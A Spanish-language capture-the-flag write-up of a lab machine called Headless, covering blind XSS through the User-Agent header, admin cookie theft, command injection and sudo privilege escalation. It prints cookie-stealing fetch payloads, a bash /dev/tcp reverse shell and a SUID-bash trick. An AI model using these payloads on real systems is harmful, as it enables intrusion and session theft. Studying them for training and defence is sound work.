Headless
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Un Flask en el5000muestra un formulario/supportque envía las cabeceras al panel/dashboard, donde un bot administrativo las revisa. Inyectando un<img onerror=fetch(...+document.cookie)>en elUser-Agent(Blind XSS) se roba la cookie de sesión del admin, lo que da acceso a/dashboard. Allí, el parámetrodatedel generador de informes ejecuta el comando concatenado con;, abriendo una reverse shell como dvir. Para escalar,sudo -lpermite/usr/bin/syschecksin contraseña; el script invoca./initdb.shcon ruta relativa, así que uninitdb.shpropio en el cwd conchmod u+s /bin/bashcierra la cadena hastaroot.
Reconocimiento
Escaneo inicial
Antes del nmap completo, un ping rápido orienta sobre el sistema operativo.

PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
64 bytes from 10.10.11.8: icmp_seq=1 ttl=63 time=108 msEl TTL observado es 63, no 64: cada salto de routing descuenta uno, así que el TTL original era 64 y apunta a Linux (Windows partiría de 128). Es un indicio, no una confirmación.
Con eso, lanzo el barrido TCP completo:

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
5000/tcp open upnp syn-ack ttl 63El fichero -oG que deja el escaneo lo resume extractPorts, otra función del ~/.zshrc, que además copia la lista al portapapeles para el segundo escaneo:
extractPorts scan
Extracting information ...
IP Address: 10.10.11.8
Open ports: 22,5000
Ports copied to clipboardSolo dos puertos: 22 (SSH) y 5000. nmap lo etiqueta como upnp por el servicio por defecto del puerto, pero el 5000 es típicamente un servidor de desarrollo Python (Flask/Werkzeug). Un -sCV dirigido sobre esos dos puertos lo confirma:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
5000/tcp open http Werkzeug httpd 2.2.2 (Python 3.11.2)
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
|_http-title: Under Construction
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelWerkzeug 2.2.2 + Python 3.11.2 = aplicación Flask corriendo con el servidor de desarrollo. El OpenSSH 9.2p1 Debian 2+deb12u2 fija además la base: Debian 12 (Bookworm). Aparece de fondo una posibilidad de SSTI, pero conviene enumerar primero el web antes de saltar a payloads.
Web - TCP 5000
El puerto 5000 sirve una página Under Construction con una cuenta atrás. wappalyzer no detecta ninguna tecnología, ni siquiera tras pulsar su Reload, así que por ahí no hay pista:

El código fuente tampoco esconde secretos, pero sí deja algo útil: el botón For questions apunta a /support, una ruta que todavía no había aparecido.

<div class="container">
<h1>Welcome to Our Website</h1>
<p>We're working hard to bring you an amazing online experience.</p>
<div class="countdown">
Site will be live in <span id="countdown">Loading...</span>.
</div>
<a href="/support" class="button">For questions</a>
</div>Lo que sí deja un detalle es whatweb:

http://10.10.11.8:5000 [200 OK] Cookies[is_admin], Country[RESERVED][ZZ], HTML5,
HTTPServer[Werkzeug/2.2.2 Python/3.11.2], IP[10.10.11.8], Python[3.11.2],
Script, Title[Under Construction], Werkzeug[2.2.2]Cookies[is_admin]: la aplicación reparte una cookie llamada así a cualquier visitante anónimo, sin login de por medio. Un nombre de cookie que es literalmente un booleano de privilegio es la clase de dato que conviene tener presente antes de empezar a probar nada. Un escaneo de rutas con dirsearch destapa además dos endpoints:

[21:15:52] 401 - 317B - /dashboard
[21:16:46] 200 - 2KB - /support/dashboard responde 401, así que requiere autenticación. /support está abierto: es un formulario libre que vamos a usar como punto de entrada.

Antes de probar nada, un envío normal interceptado con Burp sirve para ver cómo viaja el formulario:

POST /support HTTP/1.1
Host: 10.10.11.8:5000
Content-Type: application/x-www-form-urlencoded
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
fname=jaime&lname=jaime&email=jaime%40jaime&phone=12345467&message=jaimeDos lecturas. La primera descarta un vector: los datos van en x-www-form-urlencoded plano, no en XML, así que no hay por dónde meter una XXE. La segunda es la buena, y confirma lo que insinuaba whatweb: la cookie is_admin que me han dado vale InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs. Ese formato (una carga base64url, un punto y una firma) es el de itsdangerous, la librería con la que Flask firma sus cookies, y InVzZXIi decodifica a "user".
Con la petición todavía retenida, Burp permite pedir además la respuesta (Do intercept → Response to this request), que es la forma de ver el HTML tal cual lo emite el servidor sin fiarse de lo que pinte el navegador:


<form method="POST">
<label for="fname">First Name:</label>
<input type="text" id="fname" name="fname" required>
<label for="lname">Last Name:</label>
<input type="text" id="lname" name="lname" required>
<label for="email">Email:</label>
<input type="email" id="email" name="email" required>
<label for="phone">Phone Number:</label>
<input type="tel" id="phone" name="phone" required>
<label for="message">Message:</label>
<textarea id="message" name="message" required></textarea>
<button type="submit">Submit</button>
</form>Cinco campos, ninguna validación del lado del servidor a la vista y ningún token anti-CSRF. Es decir: la cookie dice quién soy en claro, pero va firmada con una clave del servidor. Cambiar "user" por "admin" a mano invalida la firma y el servidor la rechaza. Para tener una cookie de admin válida hay que conseguir que el servidor la emita, o robársela a alguien que ya la tenga.
Shell como dvir
Blind XSS por el User-Agent
El primer intento es el más ingenuo: meter etiquetas HTML en los propios campos del formulario y ver qué hace la aplicación con ellas.

Antes de enviarlo se activa el proxy de Burp desde FoxyProxy para ver a dónde va la petición y qué responde el servidor. Y la respuesta no es la esperada: en vez de guardar el mensaje, el servidor devuelve una página de "Hacking Attempt Detected!" que reproduce las cabeceras HTTP completas de la petición rechazada (User-Agent, Accept-Language, Cookie...).

Hacking Attempt Detected
Your IP address has been flagged, a report with your browser information has been sent to the
administrators for investigation.
Client Request Information:
Method: POST
URL: http://10.10.11.8:5000/support
Headers: Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: http://10.10.11.8:5000/support
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Eso es el detalle clave: si el panel /dashboard (donde un bot administrativo revisa los intentos) renderiza esa misma plantilla, las cabeceras se interpretan como HTML del lado del admin. Es el patrón clásico de Blind XSS contra un bot administrativo: el atacante no ve el resultado, solo el efecto secundario en su servidor.
Primero se confirma que las cabeceras se interpretan como HTML. Con Burp reemplazo tres de ellas por una etiqueta de prueba, <h5>jaime</h5>, para ver si alguna se escapa y cuáles no:

User-Agent: <h5>jaime</h5>
Accept-Language: <h5>jaime</h5>
Accept-Encoding: <h5>jaime</h5>El servidor las renderiza tal cual: la palabra inyectada aparece estilizada dentro de cajas en las tres, confirmando que el HTML se interpreta y que no hay escapado en ninguna:

El siguiente paso es escalar a JavaScript con una imagen rota más onerror. El payload se mete en el User-Agent interceptando la petición con Burp:

User-Agent: <img src=1 onerror=alert("hola")>
Si llegara a renderizarse en mi navegador, vería un alert; pero al venir desde "Hacking attempt", solo el admin lo verá. Para verificar que efectivamente alguien lo ejecuta del otro lado, levanto un HTTP listener y cambio el payload a un fetch ciego:
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...User-Agent: <img src=1 onerror=fetch('http://10.10.16.6/xss')>

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.8 - - [16/Sep/2025 21:52:05] "GET /xss HTTP/1.1" 404 -
10.10.16.6 - - [16/Sep/2025 21:55:20] "GET /xss HTTP/1.1" 404 -El 404 es lo de menos (no existe ese fichero en el servidor); lo que importa es quién pide. La primera petición llega desde 10.10.11.8, la propia víctima, y llega tres minutos antes de que yo abra nada en mi navegador: nadie la ha disparado por mi parte. La segunda, desde 10.10.16.6, es mi propia máquina renderizando después la página. Ese desfase es la prueba: hay un proceso administrativo dentro de la máquina que abre las páginas de los intentos rechazados y ejecuta el JavaScript que metí en la cabecera. Es decir, tengo XSS ciego corriendo en una sesión autenticada del admin.
Robo de la cookie de sesión
Con la confirmación, solo falta exfiltrar document.cookie. Comillas dobles para no chocar con el atributo:
User-Agent: <img src=1 onerror="fetch('http://10.10.16.6/prueba?xss=' + document.cookie)">

10.10.16.6 - - [16/Sep/2025 22:01:33] "GET /prueba?xss=is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs HTTP/1.1" 404 -
10.10.11.8 - - [16/Sep/2025 22:02:16] "GET /prueba?xss=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 404 -Las dos líneas juntas son la mejor prueba posible, porque permiten comparar. La mía sigue siendo InVzZXIi... ("user"); la que llega desde 10.10.11.8 es ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0, y ImFkbWluIg decodifica a "admin". La firma que la acompaña la ha generado el servidor con su clave, así que es válida, y ese es justo el trozo que no se podía fabricar a mano.
Como variante por si el sitio filtrara la sintaxis con <img>, también funciona el clásico con <script> + new Image(), que no depende de un evento de error:
User-Agent: <script>var i=new Image(); i.src="http://10.10.16.6/?cookie=" + document.cookie</script>

10.10.16.6 - - [16/Sep/2025 22:05:02] "GET /?cookie=is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs HTTP/1.1" 200 -
10.10.11.8 - - [16/Sep/2025 22:05:18] "GET /?cookie=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -Mismo resultado y misma cookie de admin, esta vez sin onerror.
SSTI: el callejón que no era
Con la cookie de admin ya en el navegador, y antes de tirar del panel, queda una hipótesis pendiente desde el reconocimiento. Werkzeug y Python confirmados, cabeceras que se renderizan sin escapar: si esa plantilla se construyera concatenando el valor de la cabecera, habría SSTI y {{7*7}} devolvería 49. Se prueba igual que el resto, cambiando el User-Agent desde Burp:

User-Agent: {{7*7}}
User-Agent: {{7*7}}Vuelve literal, sin evaluar. Flask está renderizando la plantilla con las cabeceras pasadas como variables de contexto, no incrustándolas en el texto de la plantilla antes de compilarla, así que Jinja nunca llega a ver esas llaves como código. Es la diferencia entre render_template("x.html", ua=valor) y render_template_string("... " + valor): solo la segunda es explotable.
Merece la pena quedarse con el matiz, porque las dos vulnerabilidades se parecen mucho de lejos y aquí conviven a medias: el dato sí se refleja sin escapar (de ahí el XSS), pero no se compila (de ahí que no haya SSTI). Una cosa no implica la otra.
Acceso al panel y command injection
Reemplazando la cookie en el navegador (DevTools) y refrescando /dashboard, aparece un panel de "System Health Report" con un campo de fecha:

Generar un informe con una fecha normal devuelve simplemente "Systems are up and running!":

Pero la petición interceptada con Burp deja claro que la fecha se envía al servidor como parámetro:

Cuando un parámetro de fecha alimenta un comando shell del lado del servidor, el primer test es concatenar otro comando con ;. Si se ejecuta, hay inyección de comandos:

date=;id
Systems are up and running! uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)Ni siquiera hace falta una fecha válida delante: con el parámetro vacío y el ; basta. La salida de id sale impresa en el mismo banner verde del "Systems are up and running!", lo que confirma que el resultado del comando se concatena directo en la respuesta. RCE como dvir. Para una reverse shell hace falta URL-encodear el payload (los &, > y / deben escapar):

;/bin/bash -c 'bash -i &> /dev/tcp/10.10.16.6/443 0>&1'El propio Burp lo codifica: se selecciona el payload y se usa Convert selection → URL → URL-encode all characters, que no deja fuera ni los caracteres que el navegador considera seguros.


date=%3b%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%26%3e%20%2f%64%65%76%2f%74
%63%70%2f%31%30%2e%31%30%2e%31%36%2e%36%2f%34%34%33%20%30%3e%26%31%27Con un listener a la escucha en el 443:
sudo nc -nlvp 443
listening on [any] 443 ...la petición lanza el callback:

Con el tratamiento de TTY habitual la shell pasa a ser usable, y el ls del directorio en el que cae aporta más de lo que parece:

dvir@headless:~/app$ ls
app.py hackattempt.html index.html report.sh
dashboard.html hacking_reports inspect_reports.py support.htmlscript /dev/null -c bash # Ctrl+Z
stty raw -echo; fg # reset xtermexport TERM=xterm SHELL=bash
stty rows 49 cols 236
La reverse shell aterriza directamente en ~/app, el código fuente de todo lo explotado: app.py (las rutas), hackattempt.html (la plantilla que renderiza las cabeceras y que ha permitido el XSS), inspect_reports.py junto a hacking_reports (el bot que revisa los intentos) y report.sh, que es el script al que llega el parámetro date. La caja entera, en ocho ficheros.
Con eso, la flag de usuario:

7168cd6f527f50ec1bf2403c316b304eEscalada de privilegios
sudo -l y el script syscheck
El primer paso de enumeración del usuario es siempre sudo -l:

Matching Defaults entries for dvir on headless:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheckConviene leer también la línea de arriba: env_reset y secure_path significan que sudo descarta mi entorno y reconstruye el PATH desde cero con rutas de sistema. Un PATH hijack clásico, el de dejar un binario falso en un directorio propio y anteponerlo, queda descartado de entrada.
Ejecutarlo una vez ya da una pista de por dónde va:
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average: 0.00, 0.00, 0.02
Database service is not running. Starting it ..."Starting it ..." implica que algo se lanza. El binario es un script, así que leerlo da el porqué:

#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it ..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fiLa ironía está a la vista. Quien escribió el script sí se preocupó del PATH: find, sort, tail, date, echo, df, awk, uptime, pgrep, todos con ruta absoluta, sin una sola llamada relativa. Y entonces, en la última línea, ./initdb.sh.
Tres detalles se combinan:
- El script corre como
root(por elsudosin contraseña). ./initdb.shes relativo al directorio de trabajo, ysudono cambia el cwd: ejecuta lo que haya en el directorio desde el que yo lance el comando.pgrep -x "initdb.sh"no casa nunca (no hay ningún proceso llamado exactamente así), de modo que la ramathense dispara siempre. Eso ya se veía en la ejecución de antes, con su "Starting it ...".
El resultado es un PATH hijack al revés: no se controla el PATH, que está blindado, sino el cwd, que nadie ha blindado.
Abuso del initdb.sh relativo
Basta con estar en un directorio con escritura, y el propio home de dvir lo es:
echo -e '#!/bin/bash\n\nchmod u+s /bin/bash' > initdb.sh
chmod +x initdb.sh
sudo /usr/bin/syscheck
ls -l /bin/bash
Database service is not running. Starting it ...
dvir@headless:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1265648 Apr 24 2023 /bin/bashEl bit s está en su sitio. bash -p mantiene el EUID de root (en vez de degradarlo a dvir), y la flag final cae:

bash -p
id
# uid=1000(dvir) gid=1000(dvir) euid=0(root) groups=1000(dvir),100(users)
cat /root/root.txta409b20f3806c408cffc9f19bf6a8ed4Cadena de ataque
nmap (22, 5000)
└─> Flask en /support (refleja headers en la página de "hacking attempt")
└─> Blind XSS en User-Agent → fetch a 10.10.16.6 con document.cookie
└─> cookie is_admin firmada del bot (ImFkbWluIg...) → /dashboard
└─> ;id en el parámetro date → RCE como dvir
└─> reverse shell + user.txt
└─> sudo NOPASSWD /usr/bin/syscheck → ./initdb.sh (ruta relativa)
└─> initdb.sh propio en ~ con chmod u+s /bin/bash
└─> bash -p → root.txtLecciones aprendidas
- Una página de "intento de hacking detectado" que renderiza las cabeceras de la petición es un sumidero perfecto para Blind XSS: el bot que revisa el panel ejecuta cualquier JS que metas en
User-Agent. - Una cookie firmada (formato
payload.firmadeitsdangerous) enseña su contenido pero no se puede falsificar sin la clave del servidor. Cuando el dato interesante viaja firmado, el camino deja de ser manipularlo y pasa a ser robar uno legítimo, que es exactamente lo que empuja hacia el XSS. - Que un dato se refleje sin escapar no implica que se compile como plantilla. Aquí las cabeceras dan XSS pero
{{7*7}}vuelve literal: Flask las pasa como variables de contexto, no las concatena en la plantilla. SSTI y XSS se parecen de lejos y se descartan por separado. - Sospecha siempre de cualquier parámetro que parezca alimentar un comando shell (fechas, IPs, hostnames). El
;y el|son la primera prueba para confirmar command injection. - Un
sudosobre un script no es seguro por defecto; hay que leerlo.secure_pathblinda elPATH, pero no blinda el cwd: una sola ruta relativa (./initdb.sh) en un script que corre comorootdevuelve toda la ejecución al atacante, por muy absolutas que sean las otras diez llamadas. chmod u+s /bin/bash+bash -pes la forma más corta de pasar de "ejecuto un comando como root" a "tengo shell persistente de root".- TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.